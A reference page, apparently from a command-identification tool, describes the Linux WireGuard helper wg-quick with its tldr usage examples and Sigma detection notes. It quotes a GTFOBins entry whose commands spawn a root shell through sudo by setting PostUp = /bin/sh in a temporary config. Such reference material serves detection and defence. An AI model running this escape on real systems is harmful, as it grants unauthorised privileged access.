Identifier / Programs / Linux and Unix
wg-quick
Quickly set up WireGuard tunnels based on config files. tldr-pages
GTFOBins shell 1 documented command
How wg-quick is abused
shell
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for wg-quick.
1 documented command
shell with sudo
Use wg-quick down /path/to/temp-file.conf in order to be able to run the shell again.
cat >/path/to/temp-file.conf <<EOF
[Interface]
PostUp = /bin/sh
EOF
wg-quick up /path/to/temp-file.confIdentifyThe command the identifier reads trips no Sigma process-creation rule. This command is, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for wg-quick. The identifier reads the line that runs wg-quick.
Everyday use
Set up a VPN tunnel based on /etc/wireguard/interface.conf
sudo wg-quick up interfaceIdentifyDelete a VPN tunnel
sudo wg-quick down interfaceIdentifySave the current config of a tunnel to /etc/wireguard/interface.conf
sudo wg-quick save interfaceIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.